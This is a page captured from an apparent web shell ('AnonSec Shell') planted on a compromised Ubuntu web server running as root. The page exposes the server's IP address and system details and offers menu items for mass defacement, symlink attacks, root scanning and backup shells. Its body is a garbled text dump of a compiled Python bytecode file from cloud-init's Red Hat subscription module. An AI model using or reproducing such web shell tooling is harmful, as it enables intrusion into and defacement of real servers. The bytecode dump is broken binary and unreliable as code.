AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/cloudinit/config/__pycache__/cc_rh_subscription.cpython-310.pyc
o

x[h�<�
@s�UdZddlZddlmZmZddlmZddlmZddl	m
Z
ddlmZe�
e�Zdgd	�ed
gd�Ze
ed<d
ededededdf
dd�ZGdd�de�ZGdd�d�Zddd�ZdS)zDRed Hat Subscription: Register Red Hat Enterprise Linux based system�N)�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE�cc_rh_subscription)�fedora�rhel�	openeuler�rh_subscription)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc
Cs`t|td�}|��st�d|�dS|��s�zs|��\}}|dur%t|��|��}|s/td��|jrF|j	durF|�
�s?td��|j�d�n|jrW|��sQtd��|j�d�|j
durxt|j
t�shd	}t|��|�|j
�}	|	sxtd
�|j
���|��}	|	s�td��|�d�WdSty�}
z|�t|
��|�d
�WYd}
~
dSd}
~
ww|�d�dS)N)�logz%s: module not configured.Tz-Registration failed or did not run completelyzSetting of service-level failedz(Completed auto-attach with service levelzSetting auto-attach failedzCompleted auto-attachz"Pools must in the format of a listzUnable to attach pools {0}zUnable to add or remove reposz-rh_subscription plugin completed successfullyz4rh_subscription plugin did not complete successfullyzSystem is already registered)�SubscriptionManager�LOG�
is_configured�debug�
is_registered�_verify_keys�SubscriptionError�rhn_register�auto_attach�servicelevel�_set_service_levelr�_set_auto_attach�pools�
isinstance�list�addPool�format�update_repos�log_success�log_warn�str)rrrr�sm�verify�
verify_msg�cont�	pool_fail�return_stat�e�r4�E/usr/lib/python3/dist-packages/cloudinit/config/cc_rh_subscription.py�handlesR�	

���r6c@seZdZdS)rN)�__name__�
__module__�__qualname__r4r4r4r5rPsrc@s~eZdZgd�Zddd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�ZdS)r)�org�activation-key�username�password�disable-repo�enable-repo�add-pool�rhsm-baseurl�server-hostname�auto-attach�
service-levelNcCs�|durt}||_||_|j�di�|_|j�d�|_|j�d�|_|j�d�|_|j�d�|_|j�d�|_	|j�d�|_
|j�d�|_|j�d	�|_|j�d
�|_
|j�d�|_|j�d�|_dS)
NrrArBr@r;r:r<r=rCr?r>rD)rrr�get�rhel_cfg�rhsm_baseurl�server_hostnamer$�activation_keyr:�useridr=r �enable_repo�disable_repor!)�selfrrr4r4r5�__init__cs zSubscriptionManager.__init__cC�|j�|�dS)z>Simple wrapper for logging info messages. Useful for unittestsN)r�info�rM�msgr4r4r5r*u�zSubscriptionManager.log_successcCrO)zASimple wrapper for logging warning messages. Useful for unittestsN)r�warningrQr4r4r5r+yrSzSubscriptionManager.log_warncCs�|jD]}||jvrd�|d�|j��}d|fSq|jdur2t�|j�s2t�|j�s2d}d|fS|jdurH|jrBt�t	|j��rHd}d|fSdS)zq
        Checks that the keys in the rh_subscription dict from the user-data
        are what we expect.
        z?{0} is not a valid key for rh_subscription. Valid keys are: {1}�, FNz8The key auto-attach must be a boolean value (True/False zqThe service-level key must be used in conjunction with the auto-attach key.  Please re-run with auto-attach: True)TN)
rF�
valid_rh_keysr(�joinr r�is_true�is_falser!r,)rM�k�bad_key�not_bool�no_autor4r4r5r}s0

��
	
�
��
���z SubscriptionManager._verify_keyscCs,dg}zt|�WdStjyYdSw)zg
        Checks if the system is already registered and returns
        True if so, else False
        �identityFT)�_sub_man_clir�ProcessExecutionError)rM�cmdr4r4r5r�s
��z!SubscriptionManager.is_registeredc
Cs�|jdur`|jdur`dd�|j�d�|j�g}|jdur%|�d�|j��|jdur3|�d�|j��z
t|dd�d	}Wn�tjy_}z|j	d
krT|�
d�|j��WYd}~dSd}~ww|jdur�|j
dur�dd
�|j�d�|j
�g}|jdur�|�d�|j��|jdur�|�d�|j��z
t|dd�d	}Wn.tjy�}z|j	d
kr�|�
d�|j��WYd}~dSd}~ww|�
d�|�
d�dS|�d�d��}|j�d|�dS)z�
        Registers the system by userid and password or activation key
        and org.  Returns True when successful False when not.
        N�registerz--activationkey={0}z	--org={0}z
--baseurl={0}z--serverurl={0}T)�
logstring_valr�zRegistration failed due to: {0}Fz--username={0}z--password={0}z8Unable to register system due to incomplete information.z9Use either activationkey and org *or* userid and passwordzID: �z"Registered successfully with ID %s)rIr:r(rG�appendrHr_rr`�stdoutr+�stderrrJr=�split�rstriprr)rMra�
return_outr3�reg_idr4r4r5r�s`

�
	


���

�
	


�����z SubscriptionManager.rhn_registerc
Cs�ddd�|j�g}zt|�d}Wn9tjyJ}z,|j��dkr4|j�d�D]}|dkr2|�|�q'n|�d�|j	�
���WYd}~dSd}~ww|�d�D]}|dkr\|j�|�qPd	S)
N�attach�--autoz--servicelevel={0}rrd�
z*Setting the service level failed with: {0}FT)
r(r!r_rr`rgrjrir+rh�striprr�rMrarkr3�liner4r4r5r"�s4
�
�������z&SubscriptionManager._set_service_levelc
Cszddg}zt|�d}Wntjy(}z|�d�|��WYd}~dSd}~ww|�d�D]}|dkr:|j�|�q.dS)	NrmrnrzAuto-attach failed with: {0}FrordT)r_rr`r+r(rirrrqr4r4r5r#s���z$SubscriptionManager._set_auto_attachcCsTg}g}gd�}t|�d}|���d�}gd�}t|�d}|���d�}||fS)zh
        Gets the list pools for the active subscription and returns them
        in list form.
        )r&z--available�--pool-onlyrro)r&z
--consumedrs)r_rjri)rM�	available�consumedra�resultsr4r4r5�	_getPoolsszSubscriptionManager._getPoolscCs�ddg}t|�d}g}|�d�D]}d|vr#|�|�d�d���qddg}t|�d}g}|�d�D]}d|vrG|�|�d�d���q5||fS)	zl
        Obtains the current list of active yum repositories and returns
        them in list form.
        �reposz--list-enabledrrozRepo ID:�:rez--list-disabled)r_rirfrp)rMrark�active_repos�repo�inactive_reposr4r4r5�	_getRepos0s��zSubscriptionManager._getReposc
Cs�|s
|j�d�dS|��\}}g}dg}|D]}||vr*||vr*|�d�|��q|�d�|��qt|�dkrq|�|�zt|�|j�dd�	|��
d	d
��WdStjyp}z|�d�||��WYd}~d
Sd}~wwdS)zl
        Takes a list of subscription pools and "attaches" them to the
        current subscription
        zNo pools to attachTrmz
--pool={0}zPool {0} is not availablerz/Attached the following pools to your system: %srUz--pool=rdz$Unable to attach pool {0} due to {1}NF)
rrrwrfr(r+�len�extendr_rW�replacerr`)rMr$�pool_available�
pool_consumed�	pool_listra�poolr3r4r4r5r'Fs6
�
����zSubscriptionManager.addPoolc

Cs|j}|j}|durg}|durg}t|t�s|�d�dSt|t�s*|�d�dS|s6|s6|j�d�dS|��\}}g}g}|D]}||vrQ|�d�	|��qB|�|�qBg}g}	|D]}||vrl|�d�	|��q]|	�|�q]t
|�dkr�|D]}
|
|vr�|j�d	|
�qz|�d
�	|
��qzt
|	�dkr�|	D]	}
|j�d|
�q�dg}t
|�dkr�|�|�t
|�dkr�|�|�zt|�Wnt
jy�}z|�d
�	|��WYd}~dSd}~wwt
|�dkr�|j�dd�|��dd��t
|�dk�r|j�dd�|��dd��dS)z�
        Takes a list of yum repo ids that need to be disabled or enabled; then
        it verifies if they are already enabled or disabled and finally
        executes the action to disable or enable
        Nz&Repo IDs must in the format of a list.Fz No repo IDs to enable or disableTz--enable={0}z
--disable={0}rzRepo %s is already enabledz!Repo {0} does not appear to existz.Repo %s not disabled because it is not enabledrxz Unable to alter repos due to {0}zEnabled the following repos: %srUz	--enable=rdz Disabled the following repos: %sz
--disable=)rKrLr%r&r+rrr}rfr(r~rr_rr`rWr�)
rM�erepos�dreposrzr|�enable_list�enable_list_fail�repoid�disable_list�disable_list_fail�failrar3r4r4r5r)hs~



��

����z SubscriptionManager.update_reposcCst|jr|jp	|j�S�N)�boolrJr=rI)rMr4r4r5r�sz!SubscriptionManager.is_configuredr�)r7r8r9rVrNr*r+rrrr"r#rwr}r'r)rr4r4r4r5rTs
#H"VrFcCstjdg||d�S)z�
    Uses the preferred cloud-init subprocess def of subp.subp
    and runs subscription-manager.  Breaking this to a
    separate function for later use in mocking and unittests
    zsubscription-manager)�	logstring)r)rarcr4r4r5r_�sr_)F)�__doc__�logging�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�	getLoggerr7rr�__annotations__r,r&r6�	Exceptionrrr_r4r4r4r5�<module>s&
�6p

Anon7 - 2022
AnonSec Team